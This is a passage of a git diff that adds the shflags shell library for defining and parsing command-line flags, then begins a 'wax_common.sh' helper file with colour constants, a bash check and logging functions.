Flag types. +__FLAGS_TYPE_NONE=0 +__FLAGS_TYPE_BOOLEAN=1 +__FLAGS_TYPE_FLOAT=2 +__FLAGS_TYPE_INTEGER=3 +__FLAGS_TYPE_STRING=4 + +# Set the constants readonly. +__flags_constants=`set |awk -F= '/^FLAGS_/ || /^__FLAGS_/ {print $1}'` +for __flags_const in ${__flags_constants}; do + # Skip certain flags. + case ${__flags_const} in + FLAGS_HELP) continue ;; + FLAGS_PARENT) continue ;; + esac + # Set flag readonly. + if [ -z "${ZSH_VERSION:-}" ]; then + readonly "${__flags_const}" + continue + fi + case ${ZSH_VERSION} in + [123].*) readonly "${__flags_const}" ;; + *) + # Declare readonly constants globally. + # shellcheck disable=SC2039,SC3045 + readonly -g "${__flags_const}" ;; + esac +done +unset __flags_const __flags_constants + +# +# Internal variables. +# + +# Space separated lists. +__flags_boolNames=' ' # Boolean flag names. +__flags_longNames=' ' # Long flag names. +__flags_shortNames=' ' # Short flag names. +__flags_definedNames=' ' # Defined flag names (used for validation). + +__flags_columns='' # Screen width in columns. +__flags_opts='' # Temporary storage for parsed getopt flags. + +# Define a flag. +# +# Calling this function will define the following info variables for the +# specified flag: +# FLAGS_flagname - the name for this flag (based upon the long flag name) +# __flags__default - the default value +# __flags_flagname_help - the help string +# __flags_flagname_short - the single letter alias +# __flags_flagname_type - the type of flag (one of __FLAGS_TYPE_*) +# +# Args: +# _flags_type_: integer: internal type of flag (__FLAGS_TYPE_*) +# _flags_name_: string: long flag name +# _flags_default_: default flag value +# _flags_help_: string: help string +# _flags_short_: string: (optional) short flag name +# Returns: +# integer: success of operation, or error +_flags_define() { + if [ $# -lt 4 ]; then + flags_error='DEFINE error: too few arguments' + flags_return=${FLAGS_ERROR} + _flags_error "${flags_error}" + return ${flags_return} + fi + + _flags_type_=$1 + _flags_name_=$2 + _flags_default_=$3 + _flags_help_=${4:-§} # Special value '§' indicates no help string provided. + _flags_short_=${5:-${__FLAGS_NULL}} + + _flags_debug "type:${_flags_type_} name:${_flags_name_}" \ + "default:'${_flags_default_}' help:'${_flags_help_}'" \ + "short:${_flags_short_}" + + _flags_return_=${FLAGS_TRUE} + _flags_usName_="`_flags_underscoreName "${_flags_name_}"`" + + # Check whether the flag name is reserved. + if _flags_itemInList "${_flags_usName_}" "${__FLAGS_RESERVED_LIST}"; then + flags_error="flag name (${_flags_name_}) is reserved" + _flags_return_=${FLAGS_ERROR} + fi + + # Require short option for getopt that don't support long options. + if [ ${_flags_return_} -eq ${FLAGS_TRUE} \ + -a "${__FLAGS_GETOPT_VERS}" -ne "${__FLAGS_GETOPT_VERS_ENH}" \ + -a "${_flags_short_}" = "${__FLAGS_NULL}" ] + then + flags_error="short flag required for (${_flags_name_}) on this platform" + _flags_return_=${FLAGS_ERROR} + fi + + # Check for existing long name definition. + if [ ${_flags_return_} -eq ${FLAGS_TRUE} ]; then + if _flags_itemInList "${_flags_usName_}" "${__flags_definedNames}"; then + flags_error="definition for ([no]${_flags_name_}) already exists" + _flags_warn "${flags_error}" + _flags_return_=${FLAGS_FALSE} + fi + fi + + # Check for existing short name definition. + if [ ${_flags_return_} -eq ${FLAGS_TRUE} -a "${_flags_short_}" != "${__FLAGS_NULL}" ]; then + if _flags_itemInList "${_flags_short_}" "${__flags_shortNames}"; then + flags_error="flag short name (${_flags_short_}) already defined" + _flags_warn "${flags_error}" + _flags_return_=${FLAGS_FALSE} + fi + fi + + # Handle default value. Note, on several occasions the 'if' portion of an + # if/then/else contains just a ':' which does nothing. A binary reversal via + # '!' is not done because it does not work on all shells. + if [ ${_flags_return_} -eq ${FLAGS_TRUE} ]; then + case ${_flags_type_} in + "${__FLAGS_TYPE_BOOLEAN}") + if _flags_validBool "${_flags_default_}"; then + case ${_flags_default_} in + true|t|0) _flags_default_=${FLAGS_TRUE} ;; + false|f|1) _flags_default_=${FLAGS_FALSE} ;; + esac + else + flags_error="invalid default flag value '${_flags_default_}'" + _flags_return_=${FLAGS_ERROR} + fi + ;; + + "${__FLAGS_TYPE_FLOAT}") + if _flags_validFloat "${_flags_default_}"; then + : + else + flags_error="invalid default flag value '${_flags_default_}'" + _flags_return_=${FLAGS_ERROR} + fi + ;; + + "${__FLAGS_TYPE_INTEGER}") + if _flags_validInt "${_flags_default_}"; then + : + else + flags_error="invalid default flag value '${_flags_default_}'" + _flags_return_=${FLAGS_ERROR} + fi + ;; + + "${__FLAGS_TYPE_STRING}") ;; # Everything in shell is a valid string. + + *) + flags_error="unrecognized flag type '${_flags_type_}'" + _flags_return_=${FLAGS_ERROR} + ;; + esac + fi + + if [ ${_flags_return_} -eq ${FLAGS_TRUE} ]; then + # Store flag information. + eval "FLAGS_${_flags_usName_}='${_flags_default_}'" + eval "__flags_${_flags_usName_}_${__FLAGS_INFO_TYPE}=${_flags_type_}" + eval "__flags_${_flags_usName_}_${__FLAGS_INFO_DEFAULT}=\ +\"${_flags_default_}\"" + eval "__flags_${_flags_usName_}_${__FLAGS_INFO_HELP}=\"${_flags_help_}\"" + eval "__flags_${_flags_usName_}_${__FLAGS_INFO_SHORT}='${_flags_short_}'" + + # append flag names to name lists + __flags_shortNames="${__flags_shortNames}${_flags_short_} " + __flags_longNames="${__flags_longNames}${_flags_name_} " + [ "${_flags_type_}" -eq "${__FLAGS_TYPE_BOOLEAN}" ] && \ + __flags_boolNames="${__flags_boolNames}no${_flags_name_} " + + # Append flag names to defined names for later validation checks. + __flags_definedNames="${__flags_definedNames}${_flags_usName_} " + [ "${_flags_type_}" -eq "${__FLAGS_TYPE_BOOLEAN}" ] && \ + __flags_definedNames="${__flags_definedNames}no${_flags_usName_} " + fi + + flags_return=${_flags_return_} + unset _flags_default_ _flags_help_ _flags_name_ _flags_return_ \ + _flags_short_ _flags_type_ _flags_usName_ + [ ${flags_return} -eq ${FLAGS_ERROR} ] && _flags_error "${flags_error}" + return ${flags_return} +} + +# Underscore a flag name by replacing dashes with underscores. +# +# Args: +# unnamed: string: log flag name +# Output: +# string: underscored name +_flags_underscoreName() { + echo "$1" |tr z- z_ +} + +# Return valid getopt options using currently defined list of long options. +# +# This function builds a proper getopt option string for short (and long) +# options, using the current list of long options for reference. +# +# Args: +# _flags_optStr: integer: option string type (__FLAGS_OPTSTR_*) +# Output: +# string: generated option string for getopt +# Returns: +# boolean: success of operation (always returns True) +_flags_genOptStr() { + _flags_optStrType_=$1 + + _flags_opts_='' + + for _flags_name_ in ${__flags_longNames}; do + _flags_usName_="`_flags_underscoreName "${_flags_name_}"`" + _flags_type_="`_flags_getFlagInfo "${_flags_usName_}" "${__FLAGS_INFO_TYPE}"`" + if [ $? -ne ${FLAGS_TRUE} ]; then + _flags_fatal 'call to _flags_type_ failed' + fi + case ${_flags_optStrType_} in + "${__FLAGS_OPTSTR_SHORT}") + _flags_shortName_="`_flags_getFlagInfo \ + "${_flags_usName_}" "${__FLAGS_INFO_SHORT}"`" + if [ "${_flags_shortName_}" != "${__FLAGS_NULL}" ]; then + _flags_opts_="${_flags_opts_}${_flags_shortName_}" + # getopt needs a trailing ':' to indicate a required argument. + [ "${_flags_type_}" -ne "${__FLAGS_TYPE_BOOLEAN}" ] && \ + _flags_opts_="${_flags_opts_}:" + fi + ;; + + "${__FLAGS_OPTSTR_LONG}") + _flags_opts_="${_flags_opts_:+${_flags_opts_},}${_flags_name_}" + # getopt needs a trailing ':' to indicate a required argument + [ "${_flags_type_}" -ne "${__FLAGS_TYPE_BOOLEAN}" ] && \ + _flags_opts_="${_flags_opts_}:" + ;; + esac + done + + echo "${_flags_opts_}" + unset _flags_name_ _flags_opts_ _flags_optStrType_ _flags_shortName_ \ + _flags_type_ _flags_usName_ + return ${FLAGS_TRUE} +} + +# Returns flag details based on a flag name and flag info. +# +# Args: +# string: underscored flag name +# string: flag info (see the _flags_define function for valid info types) +# Output: +# string: value of dereferenced flag variable +# Returns: +# integer: one of FLAGS_{TRUE|FALSE|ERROR} +_flags_getFlagInfo() { + # Note: adding gFI to variable names to prevent naming conflicts with calling + # functions + _flags_gFI_usName_=$1 + _flags_gFI_info_=$2 + + # Example: given argument usName (underscored flag name) of 'my_flag', and + # argument info of 'help', set the _flags_infoValue_ variable to the value of + # ${__flags_my_flag_help}, and see if it is non-empty. + _flags_infoVar_="__flags_${_flags_gFI_usName_}_${_flags_gFI_info_}" + _flags_strToEval_="_flags_infoValue_=\"\${${_flags_infoVar_}:-}\"" + eval "${_flags_strToEval_}" + if [ -n "${_flags_infoValue_}" ]; then + # Special value '§' indicates no help string provided. + [ "${_flags_gFI_info_}" = "${__FLAGS_INFO_HELP}" \ + -a "${_flags_infoValue_}" = '§' ] && _flags_infoValue_='' + flags_return=${FLAGS_TRUE} + else + # See if the _flags_gFI_usName_ variable is a string as strings can be + # empty... + # Note: the DRY principle would say to have this function call itself for + # the next three lines, but doing so results in an infinite loop as an + # invalid _flags_name_ will also not have the associated _type variable. + # Because it doesn't (it will evaluate to an empty string) the logic will + # try to find the _type variable of the _type variable, and so on. Not so + # good ;-) + # + # Example cont.: set the _flags_typeValue_ variable to the value of + # ${__flags_my_flag_type}, and see if it equals '4'. + _flags_typeVar_="__flags_${_flags_gFI_usName_}_${__FLAGS_INFO_TYPE}" + _flags_strToEval_="_flags_typeValue_=\"\${${_flags_typeVar_}:-}\"" + eval "${_flags_strToEval_}" + # shellcheck disable=SC2154 + if [ "${_flags_typeValue_}" = "${__FLAGS_TYPE_STRING}" ]; then + flags_return=${FLAGS_TRUE} + else + flags_return=${FLAGS_ERROR} + flags_error="missing flag info variable (${_flags_infoVar_})" + fi + fi + + echo "${_flags_infoValue_}" + unset _flags_gFI_usName_ _flags_gfI_info_ _flags_infoValue_ _flags_infoVar_ \ + _flags_strToEval_ _flags_typeValue_ _flags_typeVar_ + [ ${flags_return} -eq ${FLAGS_ERROR} ] && _flags_error "${flags_error}" + return ${flags_return} +} + +# Check for presence of item in a list. +# +# Passed a string (e.g. 'abc'), this function will determine if the string is +# present in the list of strings (e.g. ' foo bar abc '). +# +# Args: +# _flags_str_: string: string to search for in a list of strings +# unnamed: list: list of strings +# Returns: +# boolean: true if item is in the list +_flags_itemInList() { + _flags_str_=$1 + shift + + case " ${*:-} " in + *\ ${_flags_str_}\ *) flags_return=${FLAGS_TRUE} ;; + *) flags_return=${FLAGS_FALSE} ;; + esac + + unset _flags_str_ + return ${flags_return} +} + +# Returns the width of the current screen. +# +# Output: +# integer: width in columns of the current screen. +_flags_columns() { + if [ -z "${__flags_columns}" ]; then + if eval stty size >/dev/null 2>&1; then + # stty size worked :-) + # shellcheck disable=SC2046 + set -- `stty size` + __flags_columns="${2:-}" + fi + fi + if [ -z "${__flags_columns}" ]; then + if eval tput cols >/dev/null 2>&1; then + # shellcheck disable=SC2046 + set -- `tput cols` + __flags_columns="${1:-}" + fi + fi + echo "${__flags_columns:-80}" +} + +# Validate a boolean. +# +# Args: +# _flags__bool: boolean: value to validate +# Returns: +# bool: true if the value is a valid boolean +_flags_validBool() { + _flags_bool_=$1 + + flags_return=${FLAGS_TRUE} + case "${_flags_bool_}" in + true|t|0) ;; + false|f|1) ;; + *) flags_return=${FLAGS_FALSE} ;; + esac + + unset _flags_bool_ + return ${flags_return} +} + +# Validate a float. +# +# Args: +# _flags_float_: float: value to validate +# Returns: +# bool: true if the value is a valid integer +_flags_validFloat() { + flags_return=${FLAGS_FALSE} + if [ -z "$1" ]; then + return ${flags_return} + fi + _flags_float_=$1 + + if _flags_validInt "${_flags_float_}"; then + flags_return=${FLAGS_TRUE} + elif _flags_useBuiltin; then + _flags_float_whole_=${_flags_float_%.*} + _flags_float_fraction_=${_flags_float_#*.} + [ "${_flags_float_whole_}" = '-' ] && _flags_float_whole_='-0' + if _flags_validInt "${_flags_float_whole_:-0}" -a \ + _flags_validInt "${_flags_float_fraction_}"; then + flags_return=${FLAGS_TRUE} + fi + unset _flags_float_whole_ _flags_float_fraction_ + else + flags_return=${FLAGS_TRUE} + case ${_flags_float_} in + -*) # Negative floats. + _flags_test_=`${FLAGS_EXPR_CMD} "${_flags_float_}" :\ + '\(-[0-9]*\.[0-9]*\)'` + ;; + *) # Positive floats. + _flags_test_=`${FLAGS_EXPR_CMD} "${_flags_float_}" :\ + '\([0-9]*\.[0-9]*\)'` + ;; + esac + [ "${_flags_test_}" != "${_flags_float_}" ] && flags_return=${FLAGS_FALSE} + unset _flags_test_ + fi + + unset _flags_float_ _flags_float_whole_ _flags_float_fraction_ + return ${flags_return} +} + +# Validate an integer. +# +# Args: +# _flags_int_: integer: value to validate +# Returns: +# bool: true if the value is a valid integer +_flags_validInt() { + expr \( "$1" + '0' \) '=' "$1" >/dev/null 2>&1 +} + +# Parse command-line options using the standard getopt. +# +# Note: the flag options are passed around in the global __flags_opts so that +# the formatting is not lost due to shell parsing and such. +# +# Args: +# @: varies: command-line options to parse +# Returns: +# integer: a FLAGS success condition +_flags_getoptStandard() { + flags_return=${FLAGS_TRUE} + _flags_shortOpts_=`_flags_genOptStr "${__FLAGS_OPTSTR_SHORT}"` + + # Check for spaces in passed options. + for _flags_opt_ in "$@"; do + # Note: the silliness with the x's is purely for ksh93 on Ubuntu 6.06. + _flags_match_=`echo "x${_flags_opt_}x" |sed 's/ //g'` + if [ "${_flags_match_}" != "x${_flags_opt_}x" ]; then + flags_error='the available getopt does not support spaces in options' + flags_return=${FLAGS_ERROR} + break + fi + done + + if [ ${flags_return} -eq ${FLAGS_TRUE} ]; then + __flags_opts=`getopt "${_flags_shortOpts_}" "$@" 2>&1` + _flags_rtrn_=$? + if [ ${_flags_rtrn_} -ne ${FLAGS_TRUE} ]; then + _flags_warn "${__flags_opts}" + flags_error='unable to parse provided options with getopt.' + flags_return=${FLAGS_ERROR} + fi + fi + + unset _flags_match_ _flags_opt_ _flags_rtrn_ _flags_shortOpts_ + return ${flags_return} +} + +# Parse command-line options using the enhanced getopt. +# +# Note: the flag options are passed around in the global __flags_opts so that +# the formatting is not lost due to shell parsing and such. +# +# Args: +# @: varies: command-line options to parse +# Returns: +# integer: a FLAGS success condition +_flags_getoptEnhanced() { + flags_return=${FLAGS_TRUE} + _flags_shortOpts_=`_flags_genOptStr "${__FLAGS_OPTSTR_SHORT}"` + _flags_boolOpts_=`echo "${__flags_boolNames}" \ + |sed 's/^ *//;s/ *$//;s/ /,/g'` + _flags_longOpts_=`_flags_genOptStr "${__FLAGS_OPTSTR_LONG}"` + + __flags_opts=`${FLAGS_GETOPT_CMD} \ + -o "${_flags_shortOpts_}" \ + -l "${_flags_longOpts_},${_flags_boolOpts_}" \ + -- "$@" 2>&1` + _flags_rtrn_=$? + if [ ${_flags_rtrn_} -ne ${FLAGS_TRUE} ]; then + _flags_warn "${__flags_opts}" + flags_error='unable to parse provided options with getopt.' + flags_return=${FLAGS_ERROR} + fi + + unset _flags_boolOpts_ _flags_longOpts_ _flags_rtrn_ _flags_shortOpts_ + return ${flags_return} +} + +# Dynamically parse a getopt result and set appropriate variables. +# +# This function does the actual conversion of getopt output and runs it through +# the standard case structure for parsing. The case structure is actually quite +# dynamic to support any number of flags. +# +# Args: +# @: varies: output from getopt parsing +# Returns: +# integer: a FLAGS success condition +_flags_parseGetopt() { + flags_return=${FLAGS_TRUE} + + if [ "${__FLAGS_GETOPT_VERS}" -ne "${__FLAGS_GETOPT_VERS_ENH}" ]; then + # The @$ must be unquoted as it needs to be re-split. + # shellcheck disable=SC2068 + set -- $@ + else + # Note the quotes around the `$@` -- they are essential! + # shellcheck disable=SC2294 + eval set -- "$@" + fi + + # Handle options. note options with values must do an additional shift. + while true; do + _flags_opt_=$1 + _flags_arg_=${2:-} + _flags_type_=${__FLAGS_TYPE_NONE} + _flags_name_='' + + # Determine long flag name. + case "${_flags_opt_}" in + --) shift; break ;; # Discontinue option parsing. + + --*) # Long option. + if _flags_useBuiltin; then + _flags_opt_=${_flags_opt_#*--} + else + _flags_opt_=`${FLAGS_EXPR_CMD} "${_flags_opt_}" : '--\(.*\)'` + fi + _flags_len_=${__FLAGS_LEN_LONG} + if _flags_itemInList "${_flags_opt_}" "${__flags_longNames}"; then + _flags_name_=${_flags_opt_} + else + # Check for negated long boolean version. + if _flags_itemInList "${_flags_opt_}" "${__flags_boolNames}"; then + if _flags_useBuiltin; then + _flags_name_=${_flags_opt_#*no} + else + _flags_name_=`${FLAGS_EXPR_CMD} "${_flags_opt_}" : 'no\(.*\)'` + fi + _flags_type_=${__FLAGS_TYPE_BOOLEAN} + _flags_arg_=${__FLAGS_NULL} + fi + fi + ;; + + -*) # Short option. + if _flags_useBuiltin; then + _flags_opt_=${_flags_opt_#*-} + else + _flags_opt_=`${FLAGS_EXPR_CMD} "${_flags_opt_}" : '-\(.*\)'` + fi + _flags_len_=${__FLAGS_LEN_SHORT} + if _flags_itemInList "${_flags_opt_}" "${__flags_shortNames}"; then + # Yes. Match short name to long name. Note purposeful off-by-one + # (too high) with awk calculations. + _flags_pos_=`echo "${__flags_shortNames}" \ + |awk 'BEGIN{RS=" ";rn=0}$0==e{rn=NR}END{print rn}' \ + e="${_flags_opt_}"` + _flags_name_=`echo "${__flags_longNames}" \ + |awk 'BEGIN{RS=" "}rn==NR{print $0}' rn="${_flags_pos_}"` + fi + ;; + esac + + # Die if the flag was unrecognized. + if [ -z "${_flags_name_}" ]; then + flags_error="unrecognized option (${_flags_opt_})" + flags_return=${FLAGS_ERROR} + break + fi + + # Set new flag value. + _flags_usName_=`_flags_underscoreName "${_flags_name_}"` + [ "${_flags_type_}" -eq "${__FLAGS_TYPE_NONE}" ] && \ + _flags_type_=`_flags_getFlagInfo "${_flags_usName_}" "${__FLAGS_INFO_TYPE}"` + case ${_flags_type_} in + "${__FLAGS_TYPE_BOOLEAN}") + if [ "${_flags_len_}" -eq "${__FLAGS_LEN_LONG}" ]; then + if [ "${_flags_arg_}" != "${__FLAGS_NULL}" ]; then + eval "FLAGS_${_flags_usName_}=${FLAGS_TRUE}" + else + eval "FLAGS_${_flags_usName_}=${FLAGS_FALSE}" + fi + else + _flags_strToEval_="_flags_val_=\ +\${__flags_${_flags_usName_}_${__FLAGS_INFO_DEFAULT}}" + eval "${_flags_strToEval_}" + # shellcheck disable=SC2154 + if [ "${_flags_val_}" -eq ${FLAGS_FALSE} ]; then + eval "FLAGS_${_flags_usName_}=${FLAGS_TRUE}" + else + eval "FLAGS_${_flags_usName_}=${FLAGS_FALSE}" + fi + fi + ;; + + "${__FLAGS_TYPE_FLOAT}") + if _flags_validFloat "${_flags_arg_}"; then + eval "FLAGS_${_flags_usName_}='${_flags_arg_}'" + else + flags_error="invalid float value (${_flags_arg_})" + flags_return=${FLAGS_ERROR} + break + fi + ;; + + "${__FLAGS_TYPE_INTEGER}") + if _flags_validInt "${_flags_arg_}"; then + eval "FLAGS_${_flags_usName_}='${_flags_arg_}'" + else + flags_error="invalid integer value (${_flags_arg_})" + flags_return=${FLAGS_ERROR} + break + fi + ;; + + "${__FLAGS_TYPE_STRING}") + eval "FLAGS_${_flags_usName_}='${_flags_arg_}'" + ;; + esac + + # Handle special case help flag. + if [ "${_flags_usName_}" = 'help' ]; then + # shellcheck disable=SC2154 + if [ "${FLAGS_help}" -eq ${FLAGS_TRUE} ]; then + flags_help + flags_error='help requested' + flags_return=${FLAGS_FALSE} + break + fi + fi + + # Shift the option and non-boolean arguments out. + shift + [ "${_flags_type_}" != "${__FLAGS_TYPE_BOOLEAN}" ] && shift + done + + # Give user back non-flag arguments. + FLAGS_ARGV='' + while [ $# -gt 0 ]; do + FLAGS_ARGV="${FLAGS_ARGV:+${FLAGS_ARGV} }'$1'" + shift + done + + unset _flags_arg_ _flags_len_ _flags_name_ _flags_opt_ _flags_pos_ \ + _flags_strToEval_ _flags_type_ _flags_usName_ _flags_val_ + return ${flags_return} +} + +# Perform some path using built-ins. +# +# Args: +# $@: string: math expression to evaluate +# Output: +# integer: the result +# Returns: +# bool: success of math evaluation +_flags_math() { + if [ $# -eq 0 ]; then + flags_return=${FLAGS_FALSE} + elif _flags_useBuiltin; then + # Variable assignment is needed as workaround for Solaris Bourne shell, + # which cannot parse a bare $((expression)). + # shellcheck disable=SC2016 + _flags_expr_='$(($@))' + eval echo ${_flags_expr_} + flags_return=$? + unset _flags_expr_ + else + # shellcheck disable=SC2294 + eval expr "$@" + flags_return=$? + fi + + return ${flags_return} +} + +# Cross-platform strlen() implementation. +# +# Args: +# _flags_str: string: to determine length of +# Output: +# integer: length of string +# Returns: +# bool: success of strlen evaluation +_flags_strlen() { + _flags_str_=${1:-} + + if [ -z "${_flags_str_}" ]; then + flags_output=0 + elif _flags_useBuiltin; then + flags_output=${#_flags_str_} + else + flags_output=`${FLAGS_EXPR_CMD} "${_flags_str_}" : '.*'` + fi + flags_return=$? + + unset _flags_str_ + echo "${flags_output}" + return ${flags_return} +} + +# Use built-in helper function to enable unit testing. +# +# Args: +# None +# Returns: +# bool: true if built-ins should be used +_flags_useBuiltin() { return "${__FLAGS_USE_BUILTIN}"; } + +#------------------------------------------------------------------------------ +# public functions +# +# A basic boolean flag. Boolean flags do not take any arguments, and their +# value is either 1 (false) or 0 (true). For long flags, the false value is +# specified on the command line by prepending the word 'no'. With short flags, +# the presence of the flag toggles the current value between true and false. +# Specifying a short boolean flag twice on the command results in returning the +# value back to the default value. +# +# A default value is required for boolean flags. +# +# For example, lets say a Boolean flag was created whose long name was 'update' +# and whose short name was 'x', and the default value was 'false'. This flag +# could be explicitly set to 'true' with '--update' or by '-x', and it could be +# explicitly set to 'false' with '--noupdate'. +DEFINE_boolean() { _flags_define "${__FLAGS_TYPE_BOOLEAN}" "$@"; } + +# Other basic flags. +DEFINE_float() { _flags_define "${__FLAGS_TYPE_FLOAT}" "$@"; } +DEFINE_integer() { _flags_define "${__FLAGS_TYPE_INTEGER}" "$@"; } +DEFINE_string() { _flags_define "${__FLAGS_TYPE_STRING}" "$@"; } + +# Parse the flags. +# +# Args: +# unnamed: list: command-line flags to parse +# Returns: +# integer: success of operation, or error +FLAGS() { + # Define a standard 'help' flag if one isn't already defined. + if [ -z "${__flags_help_type:-}" ]; then + DEFINE_boolean 'help' false 'show this help' 'h' + fi + + # Parse options. + if [ $# -gt 0 ]; then + if [ "${__FLAGS_GETOPT_VERS}" -ne "${__FLAGS_GETOPT_VERS_ENH}" ]; then + _flags_getoptStandard "$@" + else + _flags_getoptEnhanced "$@" + fi + flags_return=$? + else + # Nothing passed; won't bother running getopt. + __flags_opts='--' + flags_return=${FLAGS_TRUE} + fi + + if [ ${flags_return} -eq ${FLAGS_TRUE} ]; then + _flags_parseGetopt "${__flags_opts}" + flags_return=$? + fi + + if [ ${flags_return} -eq ${FLAGS_ERROR} ]; then + _flags_fatal "${flags_error}" + fi + return ${flags_return} +} + +# This is a helper function for determining the 'getopt' version for platforms +# where the detection isn't working. It simply outputs debug information that +# can be included in a bug report. +# +# Args: +# none +# Output: +# debug info that can be included in a bug report +# Returns: +# nothing +flags_getoptInfo() { + # Platform info. + _flags_debug "uname -a: `uname -a`" + _flags_debug "PATH: ${PATH}" + + # Shell info. + if [ -n "${BASH_VERSION:-}" ]; then + _flags_debug 'shell: bash' + _flags_debug "BASH_VERSION: ${BASH_VERSION}" + elif [ -n "${ZSH_VERSION:-}" ]; then + _flags_debug 'shell: zsh' + _flags_debug "ZSH_VERSION: ${ZSH_VERSION}" + fi + + # getopt info. + ${FLAGS_GETOPT_CMD} >/dev/null + _flags_getoptReturn=$? + _flags_debug "getopt return: ${_flags_getoptReturn}" + _flags_debug "getopt --version: `${FLAGS_GETOPT_CMD} --version 2>&1`" + + unset _flags_getoptReturn +} + +# Returns whether the detected getopt version is the enhanced version. +# +# Args: +# none +# Output: +# none +# Returns: +# bool: true if getopt is the enhanced version +flags_getoptIsEnh() { + test "${__FLAGS_GETOPT_VERS}" -eq "${__FLAGS_GETOPT_VERS_ENH}" +} + +# Returns whether the detected getopt version is the standard version. +# +# Args: +# none +# Returns: +# bool: true if getopt is the standard version +flags_getoptIsStd() { + test "${__FLAGS_GETOPT_VERS}" -eq "${__FLAGS_GETOPT_VERS_STD}" +} + +# This is effectively a 'usage()' function. It prints usage information and +# exits the program with ${FLAGS_FALSE} if it is ever found in the command line +# arguments. Note this function can be overridden so other apps can define +# their own --help flag, replacing this one, if they want. +# +# Args: +# none +# Returns: +# integer: success of operation (always returns true) +flags_help() { + if [ -n "${FLAGS_HELP:-}" ]; then + echo "${FLAGS_HELP}" >&2 + else + echo "USAGE: ${FLAGS_PARENT:-$0} [flags] args" >&2 + fi + if [ -n "${__flags_longNames}" ]; then + echo 'flags:' >&2 + for flags_name_ in ${__flags_longNames}; do + flags_flagStr_='' + flags_boolStr_='' + flags_usName_=`_flags_underscoreName "${flags_name_}"` + + flags_default_=`_flags_getFlagInfo \ + "${flags_usName_}" "${__FLAGS_INFO_DEFAULT}"` + flags_help_=`_flags_getFlagInfo \ + "${flags_usName_}" "${__FLAGS_INFO_HELP}"` + flags_short_=`_flags_getFlagInfo \ + "${flags_usName_}" "${__FLAGS_INFO_SHORT}"` + flags_type_=`_flags_getFlagInfo \ + "${flags_usName_}" "${__FLAGS_INFO_TYPE}"` + + [ "${flags_short_}" != "${__FLAGS_NULL}" ] && \ + flags_flagStr_="-${flags_short_}" + + if [ "${__FLAGS_GETOPT_VERS}" -eq "${__FLAGS_GETOPT_VERS_ENH}" ]; then + [ "${flags_short_}" != "${__FLAGS_NULL}" ] && \ + flags_flagStr_="${flags_flagStr_}," + # Add [no] to long boolean flag names, except the 'help' flag. + [ "${flags_type_}" -eq "${__FLAGS_TYPE_BOOLEAN}" \ + -a "${flags_usName_}" != 'help' ] && \ + flags_boolStr_='[no]' + flags_flagStr_="${flags_flagStr_}--${flags_boolStr_}${flags_name_}:" + fi + + case ${flags_type_} in + "${__FLAGS_TYPE_BOOLEAN}") + if [ "${flags_default_}" -eq ${FLAGS_TRUE} ]; then + flags_defaultStr_='true' + else + flags_defaultStr_='false' + fi + ;; + "${__FLAGS_TYPE_FLOAT}"|"${__FLAGS_TYPE_INTEGER}") + flags_defaultStr_=${flags_default_} ;; + "${__FLAGS_TYPE_STRING}") flags_defaultStr_="'${flags_default_}'" ;; + esac + flags_defaultStr_="(default: ${flags_defaultStr_})" + + flags_helpStr_=" ${flags_flagStr_} ${flags_help_:+${flags_help_} }${flags_defaultStr_}" + _flags_strlen "${flags_helpStr_}" >/dev/null + flags_helpStrLen_=${flags_output} + flags_columns_=`_flags_columns` + + if [ "${flags_helpStrLen_}" -lt "${flags_columns_}" ]; then + echo "${flags_helpStr_}" >&2 + else + echo " ${flags_flagStr_} ${flags_help_}" >&2 + # Note: the silliness with the x's is purely for ksh93 on Ubuntu 6.06 + # because it doesn't like empty strings when used in this manner. + flags_emptyStr_="`echo \"x${flags_flagStr_}x\" \ + |awk '{printf "%"length($0)-2"s", ""}'`" + flags_helpStr_=" ${flags_emptyStr_} ${flags_defaultStr_}" + _flags_strlen "${flags_helpStr_}" >/dev/null + flags_helpStrLen_=${flags_output} + + if [ "${__FLAGS_GETOPT_VERS}" -eq "${__FLAGS_GETOPT_VERS_STD}" \ + -o "${flags_helpStrLen_}" -lt "${flags_columns_}" ]; then + # Indented to match help string. + echo "${flags_helpStr_}" >&2 + else + # Indented four from left to allow for longer defaults as long flag + # names might be used too, making things too long. + echo " ${flags_defaultStr_}" >&2 + fi + fi + done + fi + + unset flags_boolStr_ flags_default_ flags_defaultStr_ flags_emptyStr_ \ + flags_flagStr_ flags_help_ flags_helpStr flags_helpStrLen flags_name_ \ + flags_columns_ flags_short_ flags_type_ flags_usName_ + return ${FLAGS_TRUE} +} + +# Reset shflags back to an uninitialized state. +# +# Args: +# none +# Returns: +# nothing +flags_reset() { + for flags_name_ in ${__flags_longNames}; do + flags_usName_=`_flags_underscoreName "${flags_name_}"` + flags_strToEval_="unset FLAGS_${flags_usName_}" + for flags_type_ in \ + ${__FLAGS_INFO_DEFAULT} \ + ${__FLAGS_INFO_HELP} \ + ${__FLAGS_INFO_SHORT} \ + ${__FLAGS_INFO_TYPE} + do + flags_strToEval_=\ +"${flags_strToEval_} __flags_${flags_usName_}_${flags_type_}" + done + eval "${flags_strToEval_}" + done + + # Reset internal variables. + __flags_boolNames=' ' + __flags_longNames=' ' + __flags_shortNames=' ' + __flags_definedNames=' ' + + # Reset logging level back to default. + flags_setLoggingLevel "${__FLAGS_LEVEL_DEFAULT}" + + unset flags_name_ flags_type_ flags_strToEval_ flags_usName_ +} + +#----------------------------------------------------------------------------- +# Initialization +# + +# Set the default logging level. +flags_setLoggingLevel ${__FLAGS_LEVEL_DEFAULT} diff --git a/lib/wax_common.sh b/lib/wax_common.sh new file mode 100644 index 0000000..e5a54ca --- /dev/null +++ b/lib/wax_common.sh @@ -0,0 +1,300 @@ +#!/usr/bin/env bash +# wax common file, this should probably be sourced + +# internal variables +COLOR_RESET="\033[0m" +COLOR_BLACK_B="\033[1;30m" +COLOR_RED_B="\033[1;31m" +COLOR_GREEN="\033[0;32m" +COLOR_GREEN_B="\033[1;32m" +COLOR_YELLOW="\033[0;33m" +COLOR_YELLOW_B="\033[1;33m" +COLOR_BLUE_B="\033[1;34m" +COLOR_MAGENTA_B="\033[1;35m" +COLOR_CYAN_B="\033[1;36m" + +fail() { + printf "${COLOR_RED_B}%b${COLOR_RESET}\n" "$*" >&2 || : + exit 1 +} + +readlink /proc/$$/exe | grep -q bash || fail "Please run with bash" + +check_deps() { + for dep in "$@"; do + command -v "$dep" &>/dev/null || echo "$dep" + done +} + +log_debug() { + [ "${FLAGS_debug:-0}" = "${FLAGS_TRUE:-1}" ] && printf "${COLOR_YELLOW}Debug: %b${COLOR_RESET}\n" "$*" >&2 || : +} + +log_info() { + printf "${COLOR_GREEN}Info: %b${COLOR_RESET}\n" 